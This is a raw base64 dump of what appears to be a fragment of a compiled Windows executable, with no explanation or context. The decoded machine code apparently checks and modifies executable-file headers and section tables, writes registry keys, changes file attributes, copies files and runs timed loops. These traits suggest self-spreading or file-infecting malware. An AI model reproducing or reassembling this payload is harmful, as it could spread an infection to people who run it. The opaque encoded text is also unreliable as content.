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
